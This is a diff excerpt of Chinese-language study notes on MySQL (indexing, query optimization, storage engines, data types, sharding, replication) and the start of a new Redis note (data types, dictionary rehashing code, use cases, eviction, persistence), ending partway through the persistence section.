例如下面显示的结果中 customer_id 的选择性比 staff_id 更高,因此最好把 customer_id 列放在多列索引的前面。
|
||||
|
||||
```sql
|
||||
SELECT COUNT(DISTINCT staff_id)/COUNT(*) AS staff_id_selectivity,
|
||||
COUNT(DISTINCT customer_id)/COUNT(*) AS customer_id_selectivity,
|
||||
COUNT(*)
|
||||
FROM payment;
|
||||
```
|
||||
|
||||
```html
|
||||
staff_id_selectivity: 0.0001
|
||||
customer_id_selectivity: 0.0373
|
||||
COUNT(*): 16049
|
||||
```
|
||||
|
||||
### 4. 前缀索引
|
||||
|
||||
对于 BLOB、TEXT 和 VARCHAR 类型的列,必须使用前缀索引,只索引开始的部分字符。
|
||||
|
||||
对于前缀长度的选取需要根据索引选择性来确定。
|
||||
|
||||
### 5. 覆盖索引
|
||||
|
||||
索引包含所有需要查询的字段的值。
|
||||
|
||||
具有以下优点:
|
||||
|
||||
- 索引通常远小于数据行的大小,只读取索引能大大减少数据访问量。
|
||||
- 一些存储引擎(例如 MyISAM)在内存中只缓存索引,而数据依赖于操作系统来缓存。因此,只访问索引可以不使用系统调用(通常比较费时)。
|
||||
- 对于 InnoDB 引擎,若辅助索引能够覆盖查询,则无需访问主索引。
|
||||
|
||||
## 索引的优点
|
||||
|
||||
- 大大减少了服务器需要扫描的数据行数。
|
||||
|
||||
- 帮助服务器避免进行排序和分组,以及避免创建临时表(B+Tree 索引是有序的,可以用于 ORDER BY 和 GROUP BY 操作。临时表主要是在排序和分组过程中创建,因为不需要排序和分组,也就不需要创建临时表)。
|
||||
|
||||
- 将随机 I/O 变为顺序 I/O(B+Tree 索引是有序的,会将相邻的数据都存储在一起)。
|
||||
|
||||
## 索引的使用条件
|
||||
|
||||
- 对于非常小的表、大部分情况下简单的全表扫描比建立索引更高效;
|
||||
|
||||
- 对于中到大型的表,索引就非常有效;
|
||||
|
||||
- 但是对于特大型的表,建立和维护索引的代价将会随之增长。这种情况下,需要用到一种技术可以直接区分出需要查询的一组数据,而不是一条记录一条记录地匹配,例如可以使用分区技术。
|
||||
|
||||
# 二、查询性能优化
|
||||
|
||||
## 使用 Explain 进行分析
|
||||
|
||||
Explain 用来分析 SELECT 查询语句,开发人员可以通过分析 Explain 结果来优化查询语句。
|
||||
|
||||
比较重要的字段有:
|
||||
|
||||
- select_type : 查询类型,有简单查询、联合查询、子查询等
|
||||
- key : 使用的索引
|
||||
- rows : 扫描的行数
|
||||
|
||||
## 优化数据访问
|
||||
|
||||
### 1. 减少请求的数据量
|
||||
|
||||
- 只返回必要的列:最好不要使用 SELECT * 语句。
|
||||
- 只返回必要的行:使用 LIMIT 语句来限制返回的数据。
|
||||
- 缓存重复查询的数据:使用缓存可以避免在数据库中进行查询,特别在要查询的数据经常被重复查询时,缓存带来的查询性能提升将会是非常明显的。
|
||||
|
||||
### 2. 减少服务器端扫描的行数
|
||||
|
||||
最有效的方式是使用索引来覆盖查询。
|
||||
|
||||
## 重构查询方式
|
||||
|
||||
### 1. 切分大查询
|
||||
|
||||
一个大查询如果一次性执行的话,可能一次锁住很多数据、占满整个事务日志、耗尽系统资源、阻塞很多小的但重要的查询。
|
||||
|
||||
```sql
|
||||
DELETE FROM messages WHERE create < DATE_SUB(NOW(), INTERVAL 3 MONTH);
|
||||
```
|
||||
|
||||
```sql
|
||||
rows_affected = 0
|
||||
do {
|
||||
rows_affected = do_query(
|
||||
"DELETE FROM messages WHERE create < DATE_SUB(NOW(), INTERVAL 3 MONTH) LIMIT 10000")
|
||||
} while rows_affected > 0
|
||||
```
|
||||
|
||||
### 2. 分解大连接查询
|
||||
|
||||
将一个大连接查询分解成对每一个表进行一次单表查询,然后在应用程序中进行关联,这样做的好处有:
|
||||
|
||||
- 让缓存更高效。对于连接查询,如果其中一个表发生变化,那么整个查询缓存就无法使用。而分解后的多个查询,即使其中一个表发生变化,对其它表的查询缓存依然可以使用。
|
||||
- 分解成多个单表查询,这些单表查询的缓存结果更可能被其它查询使用到,从而减少冗余记录的查询。
|
||||
- 减少锁竞争;
|
||||
- 在应用层进行连接,可以更容易对数据库进行拆分,从而更容易做到高性能和可伸缩。
|
||||
- 查询本身效率也可能会有所提升。例如下面的例子中,使用 IN() 代替连接查询,可以让 MySQL 按照 ID 顺序进行查询,这可能比随机的连接要更高效。
|
||||
|
||||
```sql
|
||||
SELECT * FROM tab
|
||||
JOIN tag_post ON tag_post.tag_id=tag.id
|
||||
JOIN post ON tag_post.post_id=post.id
|
||||
WHERE tag.tag='mysql';
|
||||
```
|
||||
|
||||
```sql
|
||||
SELECT * FROM tag WHERE tag='mysql';
|
||||
SELECT * FROM tag_post WHERE tag_id=1234;
|
||||
SELECT * FROM post WHERE post.id IN (123,456,567,9098,8904);
|
||||
```
|
||||
|
||||
# 三、存储引擎
|
||||
|
||||
## InnoDB
|
||||
|
||||
是 MySQL 默认的事务型存储引擎,只有在需要它不支持的特性时,才考虑使用其它存储引擎。
|
||||
|
||||
实现了四个标准的隔离级别,默认级别是可重复读(REPEATABLE READ)。在可重复读隔离级别下,通过多版本并发控制(MVCC)+ 间隙锁(Next-Key Locking)防止幻影读。
|
||||
|
||||
主索引是聚簇索引,在索引中保存了数据,从而避免直接读取磁盘,因此对查询性能有很大的提升。
|
||||
|
||||
内部做了很多优化,包括从磁盘读取数据时采用的可预测性读、能够加快读操作并且自动创建的自适应哈希索引、能够加速插入操作的插入缓冲区等。
|
||||
|
||||
支持真正的在线热备份。其它存储引擎不支持在线热备份,要获取一致性视图需要停止对所有表的写入,而在读写混合场景中,停止写入可能也意味着停止读取。
|
||||
|
||||
## MyISAM
|
||||
|
||||
设计简单,数据以紧密格式存储。对于只读数据,或者表比较小、可以容忍修复操作,则依然可以使用它。
|
||||
|
||||
提供了大量的特性,包括压缩表、空间数据索引等。
|
||||
|
||||
不支持事务。
|
||||
|
||||
不支持行级锁,只能对整张表加锁,读取时会对需要读到的所有表加共享锁,写入时则对表加排它锁。但在表有读取操作的同时,也可以往表中插入新的记录,这被称为并发插入(CONCURRENT INSERT)。
|
||||
|
||||
可以手工或者自动执行检查和修复操作,但是和事务恢复以及崩溃恢复不同,可能导致一些数据丢失,而且修复操作是非常慢的。
|
||||
|
||||
如果指定了 DELAY_KEY_WRITE 选项,在每次修改执行完成时,不会立即将修改的索引数据写入磁盘,而是会写到内存中的键缓冲区,只有在清理键缓冲区或者关闭表的时候才会将对应的索引块写入磁盘。这种方式可以极大的提升写入性能,但是在数据库或者主机崩溃时会造成索引损坏,需要执行修复操作。
|
||||
|
||||
## 比较
|
||||
|
||||
- 事务:InnoDB 是事务型的,可以使用 Commit 和 Rollback 语句。
|
||||
|
||||
- 并发:MyISAM 只支持表级锁,而 InnoDB 还支持行级锁。
|
||||
|
||||
- 外键:InnoDB 支持外键。
|
||||
|
||||
- 备份:InnoDB 支持在线热备份。
|
||||
|
||||
- 崩溃恢复:MyISAM 崩溃后发生损坏的概率比 InnoDB 高很多,而且恢复的速度也更慢。
|
||||
|
||||
- 其它特性:MyISAM 支持压缩表和空间数据索引。
|
||||
|
||||
# 四、数据类型
|
||||
|
||||
## 整型
|
||||
|
||||
TINYINT, SMALLINT, MEDIUMINT, INT, BIGINT 分别使用 8, 16, 24, 32, 64 位存储空间,一般情况下越小的列越好。
|
||||
|
||||
INT(11) 中的数字只是规定了交互工具显示字符的个数,对于存储和计算来说是没有意义的。
|
||||
|
||||
## 浮点数
|
||||
|
||||
FLOAT 和 DOUBLE 为浮点类型,DECIMAL 为高精度小数类型。CPU 原生支持浮点运算,但是不支持 DECIMAl 类型的计算,因此 DECIMAL 的计算比浮点类型需要更高的代价。
|
||||
|
||||
FLOAT、DOUBLE 和 DECIMAL 都可以指定列宽,例如 DECIMAL(18, 9) 表示总共 18 位,取 9 位存储小数部分,剩下 9 位存储整数部分。
|
||||
|
||||
## 字符串
|
||||
|
||||
主要有 CHAR 和 VARCHAR 两种类型,一种是定长的,一种是变长的。
|
||||
|
||||
VARCHAR 这种变长类型能够节省空间,因为只需要存储必要的内容。但是在执行 UPDATE 时可能会使行变得比原来长,当超出一个页所能容纳的大小时,就要执行额外的操作。MyISAM 会将行拆成不同的片段存储,而 InnoDB 则需要分裂页来使行放进页内。
|
||||
|
||||
在进行存储和检索时,会保留 VARCHAR 末尾的空格,而会删除 CHAR 末尾的空格。
|
||||
|
||||
## 时间和日期
|
||||
|
||||
MySQL 提供了两种相似的日期时间类型:DATETIME 和 TIMESTAMP。
|
||||
|
||||
### 1. DATETIME
|
||||
|
||||
能够保存从 1001 年到 9999 年的日期和时间,精度为秒,使用 8 字节的存储空间。
|
||||
|
||||
它与时区无关。
|
||||
|
||||
默认情况下,MySQL 以一种可排序的、无歧义的格式显示 DATETIME 值,例如“2008-01-16 22:37:08”,这是 ANSI 标准定义的日期和时间表示方法。
|
||||
|
||||
### 2. TIMESTAMP
|
||||
|
||||
和 UNIX 时间戳相同,保存从 1970 年 1 月 1 日午夜(格林威治时间)以来的秒数,使用 4 个字节,只能表示从 1970 年到 2038 年。
|
||||
|
||||
它和时区有关,也就是说一个时间戳在不同的时区所代表的具体时间是不同的。
|
||||
|
||||
MySQL 提供了 FROM_UNIXTIME() 函数把 UNIX 时间戳转换为日期,并提供了 UNIX_TIMESTAMP() 函数把日期转换为 UNIX 时间戳。
|
||||
|
||||
默认情况下,如果插入时没有指定 TIMESTAMP 列的值,会将这个值设置为当前时间。
|
||||
|
||||
应该尽量使用 TIMESTAMP,因为它比 DATETIME 空间效率更高。
|
||||
|
||||
# 五、切分
|
||||
|
||||
## 水平切分
|
||||
|
||||
水平切分又称为 Sharding,它是将同一个表中的记录拆分到多个结构相同的表中。
|
||||
|
||||
当一个表的数据不断增多时,Sharding 是必然的选择,它可以将数据分布到集群的不同节点上,从而缓存单个数据库的压力。
|
||||
|
||||
<div align="center"> <img src="../pics//63c2909f-0c5f-496f-9fe5-ee9176b31aba.jpg"/> </div><br>
|
||||
|
||||
## 垂直切分
|
||||
|
||||
垂直切分是将一张表按列切分成多个表,通常是按照列的关系密集程度进行切分,也可以利用垂直切分将经常被使用的列和不经常被使用的列切分到不同的表中。
|
||||
|
||||
在数据库的层面使用垂直切分将按数据库中表的密集程度部署到不同的库中,例如将原来的电商数据库垂直切分成商品数据库、用户数据库等。
|
||||
|
||||
<div align="center"> <img src="../pics//e130e5b8-b19a-4f1e-b860-223040525cf6.jpg"/> </div><br>
|
||||
|
||||
## Sharding 策略
|
||||
|
||||
- 哈希取模:hash(key) % N;
|
||||
- 范围:可以是 ID 范围也可以是时间范围;
|
||||
- 映射表:使用单独的一个数据库来存储映射关系。
|
||||
|
||||
## Sharding 存在的问题
|
||||
|
||||
### 1. 事务问题
|
||||
|
||||
使用分布式事务来解决,比如 XA 接口。
|
||||
|
||||
### 2. 连接
|
||||
|
||||
可以将原来的连接分解成多个单表查询,然后在用户程序中进行连接。
|
||||
|
||||
### 3. ID 唯一性
|
||||
|
||||
- 使用全局唯一 ID(GUID)
|
||||
- 为每个分片指定一个 ID 范围
|
||||
- 分布式 ID 生成器 (如 Twitter 的 Snowflake 算法)
|
||||
|
||||
# 六、复制
|
||||
|
||||
## 主从复制
|
||||
|
||||
主要涉及三个线程:binlog 线程、I/O 线程和 SQL 线程。
|
||||
|
||||
- **binlog 线程** :负责将主服务器上的数据更改写入二进制日志(Binary log)中。
|
||||
- **I/O 线程** :负责从主服务器上读取二进制日志,并写入从服务器的重放日志(Replay log)中。
|
||||
- **SQL 线程** :负责读取重放日志并重放其中的 SQL 语句。
|
||||
|
||||
<div align="center"> <img src="../pics//master-slave.png"/> </div><br>
|
||||
|
||||
## 读写分离
|
||||
|
||||
主服务器处理写操作以及实时性要求比较高的读操作,而从服务器处理读操作。
|
||||
|
||||
读写分离能提高性能的原因在于:
|
||||
|
||||
- 主从服务器负责各自的读和写,极大程度缓解了锁的争用;
|
||||
- 从服务器可以使用 MyISAM,提升查询性能以及节约系统开销;
|
||||
- 增加冗余,提高可用性。
|
||||
|
||||
读写分离常用代理方式来实现,代理服务器接收应用层传来的读写请求,然后决定转发到哪个服务器。
|
||||
|
||||
<div align="center"> <img src="../pics//master-slave-proxy.png"/> </div><br>
|
||||
|
||||
# 参考资料
|
||||
|
||||
- BaronScbwartz, PeterZaitsev, VadimTkacbenko, 等. 高性能 MySQL[M]. 电子工业出版社, 2013.
|
||||
- 姜承尧. MySQL 技术内幕: InnoDB 存储引擎 [M]. 机械工业出版社, 2011.
|
||||
- [20+ 条 MySQL 性能优化的最佳经验](https://www.jfox.info/20-tiao-mysql-xing-nen-you-hua-de-zui-jia-jing-yan.html)
|
||||
- [服务端指南 数据存储篇 | MySQL(09) 分库与分表带来的分布式困境与应对之策](http://blog.720ui.com/2017/mysql_core_09_multi_db_table2/ "服务端指南 数据存储篇 | MySQL(09) 分库与分表带来的分布式困境与应对之策")
|
||||
- [How to create unique row ID in sharded databases?](https://stackoverflow.com/questions/788829/how-to-create-unique-row-id-in-sharded-databases)
|
||||
- [SQL Azure Federation – Introduction](http://geekswithblogs.net/shaunxu/archive/2012/01/07/sql-azure-federation-ndash-introduction.aspx "Title of this entry.")
|
||||
- [MySQL 索引背后的数据结构及算法原理](http://blog.codinglabs.org/articles/theory-of-mysql-index.html)
|
||||
- [MySQL 性能优化神器 Explain 使用分析](https://segmentfault.com/a/1190000008131735)
|
||||
- [How Sharding Works](https://medium.com/@jeeyoungk/how-sharding-works-b4dec46b3f6)
|
||||
- [大众点评订单系统分库分表实践](https://tech.meituan.com/dianping_order_db_sharding.html)
|
608
docs/notes/Redis.md
Normal file
608
docs/notes/Redis.md
Normal file
@ -0,0 +1,608 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一、概述](#一概述)
|
||||
* [二、数据类型](#二数据类型)
|
||||
* [STRING](#string)
|
||||
* [LIST](#list)
|
||||
* [SET](#set)
|
||||
* [HASH](#hash)
|
||||
* [ZSET](#zset)
|
||||
* [三、数据结构](#三数据结构)
|
||||
* [字典](#字典)
|
||||
* [跳跃表](#跳跃表)
|
||||
* [四、使用场景](#四使用场景)
|
||||
* [计数器](#计数器)
|
||||
* [缓存](#缓存)
|
||||
* [查找表](#查找表)
|
||||
* [消息队列](#消息队列)
|
||||
* [会话缓存](#会话缓存)
|
||||
* [分布式锁实现](#分布式锁实现)
|
||||
* [其它](#其它)
|
||||
* [五、Redis 与 Memcached](#五redis-与-memcached)
|
||||
* [数据类型](#数据类型)
|
||||
* [数据持久化](#数据持久化)
|
||||
* [分布式](#分布式)
|
||||
* [内存管理机制](#内存管理机制)
|
||||
* [六、键的过期时间](#六键的过期时间)
|
||||
* [七、数据淘汰策略](#七数据淘汰策略)
|
||||
* [八、持久化](#八持久化)
|
||||
* [RDB 持久化](#rdb-持久化)
|
||||
* [AOF 持久化](#aof-持久化)
|
||||
* [九、事务](#九事务)
|
||||
* [十、事件](#十事件)
|
||||
* [文件事件](#文件事件)
|
||||
* [时间事件](#时间事件)
|
||||
* [事件的调度与执行](#事件的调度与执行)
|
||||
* [十一、复制](#十一复制)
|
||||
* [连接过程](#连接过程)
|
||||
* [主从链](#主从链)
|
||||
* [十二、Sentinel](#十二sentinel)
|
||||
* [十三、分片](#十三分片)
|
||||
* [十四、一个简单的论坛系统分析](#十四一个简单的论坛系统分析)
|
||||
* [文章信息](#文章信息)
|
||||
* [点赞功能](#点赞功能)
|
||||
* [对文章进行排序](#对文章进行排序)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 一、概述
|
||||
|
||||
Redis 是速度非常快的非关系型(NoSQL)内存键值数据库,可以存储键和五种不同类型的值之间的映射。
|
||||
|
||||
键的类型只能为字符串,值支持五种数据类型:字符串、列表、集合、散列表、有序集合。
|
||||
|
||||
Redis 支持很多特性,例如将内存中的数据持久化到硬盘中,使用复制来扩展读性能,使用分片来扩展写性能。
|
||||
|
||||
# 二、数据类型
|
||||
|
||||
| 数据类型 | 可以存储的值 | 操作 |
|
||||
| :--: | :--: | :--: |
|
||||
| STRING | 字符串、整数或者浮点数 | 对整个字符串或者字符串的其中一部分执行操作</br> 对整数和浮点数执行自增或者自减操作 |
|
||||
| LIST | 列表 | 从两端压入或者弹出元素 </br> 对单个或者多个元素</br> 进行修剪,只保留一个范围内的元素 |
|
||||
| SET | 无序集合 | 添加、获取、移除单个元素</br> 检查一个元素是否存在于集合中</br> 计算交集、并集、差集</br> 从集合里面随机获取元素 |
|
||||
| HASH | 包含键值对的无序散列表 | 添加、获取、移除单个键值对</br> 获取所有键值对</br> 检查某个键是否存在|
|
||||
| ZSET | 有序集合 | 添加、获取、删除元素</br> 根据分值范围或者成员来获取元素</br> 计算一个键的排名 |
|
||||
|
||||
> [What Redis data structures look like](https://redislabs.com/ebook/part-1-getting-started/chapter-1-getting-to-know-redis/1-2-what-redis-data-structures-look-like/)
|
||||
|
||||
## STRING
|
||||
|
||||
<div align="center"> <img src="../pics//6019b2db-bc3e-4408-b6d8-96025f4481d6.png" width="400"/> </div><br>
|
||||
|
||||
```html
|
||||
> set hello world
|
||||
OK
|
||||
> get hello
|
||||
"world"
|
||||
> del hello
|
||||
(integer) 1
|
||||
> get hello
|
||||
(nil)
|
||||
```
|
||||
|
||||
## LIST
|
||||
|
||||
<div align="center"> <img src="../pics//fb327611-7e2b-4f2f-9f5b-38592d408f07.png" width="400"/> </div><br>
|
||||
|
||||
```html
|
||||
> rpush list-key item
|
||||
(integer) 1
|
||||
> rpush list-key item2
|
||||
(integer) 2
|
||||
> rpush list-key item
|
||||
(integer) 3
|
||||
|
||||
> lrange list-key 0 -1
|
||||
1) "item"
|
||||
2) "item2"
|
||||
3) "item"
|
||||
|
||||
> lindex list-key 1
|
||||
"item2"
|
||||
|
||||
> lpop list-key
|
||||
"item"
|
||||
|
||||
> lrange list-key 0 -1
|
||||
1) "item2"
|
||||
2) "item"
|
||||
```
|
||||
|
||||
## SET
|
||||
|
||||
<div align="center"> <img src="../pics//cd5fbcff-3f35-43a6-8ffa-082a93ce0f0e.png" width="400"/> </div><br>
|
||||
|
||||
```html
|
||||
> sadd set-key item
|
||||
(integer) 1
|
||||
> sadd set-key item2
|
||||
(integer) 1
|
||||
> sadd set-key item3
|
||||
(integer) 1
|
||||
> sadd set-key item
|
||||
(integer) 0
|
||||
|
||||
> smembers set-key
|
||||
1) "item"
|
||||
2) "item2"
|
||||
3) "item3"
|
||||
|
||||
> sismember set-key item4
|
||||
(integer) 0
|
||||
> sismember set-key item
|
||||
(integer) 1
|
||||
|
||||
> srem set-key item2
|
||||
(integer) 1
|
||||
> srem set-key item2
|
||||
(integer) 0
|
||||
|
||||
> smembers set-key
|
||||
1) "item"
|
||||
2) "item3"
|
||||
```
|
||||
|
||||
## HASH
|
||||
|
||||
<div align="center"> <img src="../pics//7bd202a7-93d4-4f3a-a878-af68ae25539a.png" width="400"/> </div><br>
|
||||
|
||||
```html
|
||||
> hset hash-key sub-key1 value1
|
||||
(integer) 1
|
||||
> hset hash-key sub-key2 value2
|
||||
(integer) 1
|
||||
> hset hash-key sub-key1 value1
|
||||
(integer) 0
|
||||
|
||||
> hgetall hash-key
|
||||
1) "sub-key1"
|
||||
2) "value1"
|
||||
3) "sub-key2"
|
||||
4) "value2"
|
||||
|
||||
> hdel hash-key sub-key2
|
||||
(integer) 1
|
||||
> hdel hash-key sub-key2
|
||||
(integer) 0
|
||||
|
||||
> hget hash-key sub-key1
|
||||
"value1"
|
||||
|
||||
> hgetall hash-key
|
||||
1) "sub-key1"
|
||||
2) "value1"
|
||||
```
|
||||
|
||||
## ZSET
|
||||
|
||||
<div align="center"> <img src="../pics//1202b2d6-9469-4251-bd47-ca6034fb6116.png" width="400"/> </div><br>
|
||||
|
||||
```html
|
||||
> zadd zset-key 728 member1
|
||||
(integer) 1
|
||||
> zadd zset-key 982 member0
|
||||
(integer) 1
|
||||
> zadd zset-key 982 member0
|
||||
(integer) 0
|
||||
|
||||
> zrange zset-key 0 -1 withscores
|
||||
1) "member1"
|
||||
2) "728"
|
||||
3) "member0"
|
||||
4) "982"
|
||||
|
||||
> zrangebyscore zset-key 0 800 withscores
|
||||
1) "member1"
|
||||
2) "728"
|
||||
|
||||
> zrem zset-key member1
|
||||
(integer) 1
|
||||
> zrem zset-key member1
|
||||
(integer) 0
|
||||
|
||||
> zrange zset-key 0 -1 withscores
|
||||
1) "member0"
|
||||
2) "982"
|
||||
```
|
||||
|
||||
# 三、数据结构
|
||||
|
||||
## 字典
|
||||
|
||||
dictht 是一个散列表结构,使用拉链法保存哈希冲突。
|
||||
|
||||
```c
|
||||
/* This is our hash table structure. Every dictionary has two of this as we
|
||||
* implement incremental rehashing, for the old to the new table. */
|
||||
typedef struct dictht {
|
||||
dictEntry **table;
|
||||
unsigned long size;
|
||||
unsigned long sizemask;
|
||||
unsigned long used;
|
||||
} dictht;
|
||||
```
|
||||
|
||||
```c
|
||||
typedef struct dictEntry {
|
||||
void *key;
|
||||
union {
|
||||
void *val;
|
||||
uint64_t u64;
|
||||
int64_t s64;
|
||||
double d;
|
||||
} v;
|
||||
struct dictEntry *next;
|
||||
} dictEntry;
|
||||
```
|
||||
|
||||
Redis 的字典 dict 中包含两个哈希表 dictht,这是为了方便进行 rehash 操作。在扩容时,将其中一个 dictht 上的键值对 rehash 到另一个 dictht 上面,完成之后释放空间并交换两个 dictht 的角色。
|
||||
|
||||
```c
|
||||
typedef struct dict {
|
||||
dictType *type;
|
||||
void *privdata;
|
||||
dictht ht[2];
|
||||
long rehashidx; /* rehashing not in progress if rehashidx == -1 */
|
||||
unsigned long iterators; /* number of iterators currently running */
|
||||
} dict;
|
||||
```
|
||||
|
||||
rehash 操作不是一次性完成,而是采用渐进方式,这是为了避免一次性执行过多的 rehash 操作给服务器带来过大的负担。
|
||||
|
||||
渐进式 rehash 通过记录 dict 的 rehashidx 完成,它从 0 开始,然后每执行一次 rehash 都会递增。例如在一次 rehash 中,要把 dict[0] rehash 到 dict[1],这一次会把 dict[0] 上 table[rehashidx] 的键值对 rehash 到 dict[1] 上,dict[0] 的 table[rehashidx] 指向 null,并令 rehashidx++。
|
||||
|
||||
在 rehash 期间,每次对字典执行添加、删除、查找或者更新操作时,都会执行一次渐进式 rehash。
|
||||
|
||||
采用渐进式 rehash 会导致字典中的数据分散在两个 dictht 上,因此对字典的查找操作也需要到对应的 dictht 去执行。
|
||||
|
||||
```c
|
||||
/* Performs N steps of incremental rehashing. Returns 1 if there are still
|
||||
* keys to move from the old to the new hash table, otherwise 0 is returned.
|
||||
*
|
||||
* Note that a rehashing step consists in moving a bucket (that may have more
|
||||
* than one key as we use chaining) from the old to the new hash table, however
|
||||
* since part of the hash table may be composed of empty spaces, it is not
|
||||
* guaranteed that this function will rehash even a single bucket, since it
|
||||
* will visit at max N*10 empty buckets in total, otherwise the amount of
|
||||
* work it does would be unbound and the function may block for a long time. */
|
||||
int dictRehash(dict *d, int n) {
|
||||
int empty_visits = n * 10; /* Max number of empty buckets to visit. */
|
||||
if (!dictIsRehashing(d)) return 0;
|
||||
|
||||
while (n-- && d->ht[0].used != 0) {
|
||||
dictEntry *de, *nextde;
|
||||
|
||||
/* Note that rehashidx can't overflow as we are sure there are more
|
||||
* elements because ht[0].used != 0 */
|
||||
assert(d->ht[0].size > (unsigned long) d->rehashidx);
|
||||
while (d->ht[0].table[d->rehashidx] == NULL) {
|
||||
d->rehashidx++;
|
||||
if (--empty_visits == 0) return 1;
|
||||
}
|
||||
de = d->ht[0].table[d->rehashidx];
|
||||
/* Move all the keys in this bucket from the old to the new hash HT */
|
||||
while (de) {
|
||||
uint64_t h;
|
||||
|
||||
nextde = de->next;
|
||||
/* Get the index in the new hash table */
|
||||
h = dictHashKey(d, de->key) & d->ht[1].sizemask;
|
||||
de->next = d->ht[1].table[h];
|
||||
d->ht[1].table[h] = de;
|
||||
d->ht[0].used--;
|
||||
d->ht[1].used++;
|
||||
de = nextde;
|
||||
}
|
||||
d->ht[0].table[d->rehashidx] = NULL;
|
||||
d->rehashidx++;
|
||||
}
|
||||
|
||||
/* Check if we already rehashed the whole table... */
|
||||
if (d->ht[0].used == 0) {
|
||||
zfree(d->ht[0].table);
|
||||
d->ht[0] = d->ht[1];
|
||||
_dictReset(&d->ht[1]);
|
||||
d->rehashidx = -1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* More to rehash... */
|
||||
return 1;
|
||||
}
|
||||
```
|
||||
|
||||
## 跳跃表
|
||||
|
||||
是有序集合的底层实现之一。
|
||||
|
||||
跳跃表是基于多指针有序链表实现的,可以看成多个有序链表。
|
||||
|
||||
<div align="center"> <img src="../pics//beba612e-dc5b-4fc2-869d-0b23408ac90a.png"/> </div><br>
|
||||
|
||||
在查找时,从上层指针开始查找,找到对应的区间之后再到下一层去查找。下图演示了查找 22 的过程。
|
||||
|
||||
<div align="center"> <img src="../pics//0ea37ee2-c224-4c79-b895-e131c6805c40.png"/> </div><br>
|
||||
|
||||
与红黑树等平衡树相比,跳跃表具有以下优点:
|
||||
|
||||
- 插入速度非常快速,因为不需要进行旋转等操作来维护平衡性;
|
||||
- 更容易实现;
|
||||
- 支持无锁操作。
|
||||
|
||||
# 四、使用场景
|
||||
|
||||
## 计数器
|
||||
|
||||
可以对 String 进行自增自减运算,从而实现计数器功能。
|
||||
|
||||
Redis 这种内存型数据库的读写性能非常高,很适合存储频繁读写的计数量。
|
||||
|
||||
## 缓存
|
||||
|
||||
将热点数据放到内存中,设置内存的最大使用量以及淘汰策略来保证缓存的命中率。
|
||||
|
||||
## 查找表
|
||||
|
||||
例如 DNS 记录就很适合使用 Redis 进行存储。
|
||||
|
||||
查找表和缓存类似,也是利用了 Redis 快速的查找特性。但是查找表的内容不能失效,而缓存的内容可以失效,因为缓存不作为可靠的数据来源。
|
||||
|
||||
## 消息队列
|
||||
|
||||
List 是一个双向链表,可以通过 lpop 和 lpush 写入和读取消息。
|
||||
|
||||
不过最好使用 Kafka、RabbitMQ 等消息中间件。
|
||||
|
||||
## 会话缓存
|
||||
|
||||
可以使用 Redis 来统一存储多台应用服务器的会话信息。
|
||||
|
||||
当应用服务器不再存储用户的会话信息,也就不再具有状态,一个用户可以请求任意一个应用服务器,从而更容易实现高可用性以及可伸缩性。
|
||||
|
||||
## 分布式锁实现
|
||||
|
||||
在分布式场景下,无法使用单机环境下的锁来对多个节点上的进程进行同步。
|
||||
|
||||
可以使用 Reids 自带的 SETNX 命令实现分布式锁,除此之外,还可以使用官方提供的 RedLock 分布式锁实现。
|
||||
|
||||
## 其它
|
||||
|
||||
Set 可以实现交集、并集等操作,从而实现共同好友等功能。
|
||||
|
||||
ZSet 可以实现有序性操作,从而实现排行榜等功能。
|
||||
|
||||
# 五、Redis 与 Memcached
|
||||
|
||||
两者都是非关系型内存键值数据库,主要有以下不同:
|
||||
|
||||
## 数据类型
|
||||
|
||||
Memcached 仅支持字符串类型,而 Redis 支持五种不同的数据类型,可以更灵活地解决问题。
|
||||
|
||||
## 数据持久化
|
||||
|
||||
Redis 支持两种持久化策略:RDB 快照和 AOF 日志,而 Memcached 不支持持久化。
|
||||
|
||||
## 分布式
|
||||
|
||||
Memcached 不支持分布式,只能通过在客户端使用一致性哈希来实现分布式存储,这种方式在存储和查询时都需要先在客户端计算一次数据所在的节点。
|
||||
|
||||
Redis Cluster 实现了分布式的支持。
|
||||
|
||||
## 内存管理机制
|
||||
|
||||
- 在 Redis 中,并不是所有数据都一直存储在内存中,可以将一些很久没用的 value 交换到磁盘,而 Memcached 的数据则会一直在内存中。
|
||||
|
||||
- Memcached 将内存分割成特定长度的块来存储数据,以完全解决内存碎片的问题。但是这种方式会使得内存的利用率不高,例如块的大小为 128 bytes,只存储 100 bytes 的数据,那么剩下的 28 bytes 就浪费掉了。
|
||||
|
||||
# 六、键的过期时间
|
||||
|
||||
Redis 可以为每个键设置过期时间,当键过期时,会自动删除该键。
|
||||
|
||||
对于散列表这种容器,只能为整个键设置过期时间(整个散列表),而不能为键里面的单个元素设置过期时间。
|
||||
|
||||
# 七、数据淘汰策略
|
||||
|
||||
可以设置内存最大使用量,当内存使用量超出时,会施行数据淘汰策略。
|
||||
|
||||
Reids 具体有 6 种淘汰策略:
|
||||
|
||||
| 策略 | 描述 |
|
||||
| :--: | :--: |
|
||||
| volatile-lru | 从已设置过期时间的数据集中挑选最近最少使用的数据淘汰 |
|
||||
| volatile-ttl | 从已设置过期时间的数据集中挑选将要过期的数据淘汰 |
|
||||
|volatile-random | 从已设置过期时间的数据集中任意选择数据淘汰 |
|
||||
| allkeys-lru | 从所有数据集中挑选最近最少使用的数据淘汰 |
|
||||
| allkeys-random | 从所有数据集中任意选择数据进行淘汰 |
|
||||
| noeviction | 禁止驱逐数据 |
|
||||
|
||||
作为内存数据库,出于对性能和内存消耗的考虑,Redis 的淘汰算法实际实现上并非针对所有 key,而是抽样一小部分并且从中选出被淘汰的 key。
|
||||
|
||||
使用 Redis 缓存数据时,为了提高缓存命中率,需要保证缓存数据都是热点数据。可以将内存最大使用量设置为热点数据占用的内存量,然后启用 allkeys-lru 淘汰策略,将最近最少使用的数据淘汰。
|
||||
|
||||
Redis 4.0 引入了 volatile-lfu 和 allkeys-lfu 淘汰策略,LFU 策略通过统计访问频率,将访问频率最少的键值对淘汰。
|
||||
|
||||
# 八、持久化
|
||||
|
||||
Redis 是内存型数据库,为了保证数据在断电后不会丢失,需要将内存中的数据持久化到硬盘上。
|
||||
|
||||
## RDB 持久化
|
||||
|
||||
将某个时间点的所有数据都存放到硬盘上。
|
||||
|
||||
可以将快照复制到其它服务器从而创建具有相同数据的服务器副本。
|
||||
|
||||
如果系统发生故障,将会丢失最后一次创建快照之后的数据。
|
||||
|
||||
如果数据量很大,保存快照的时间会很长。
|
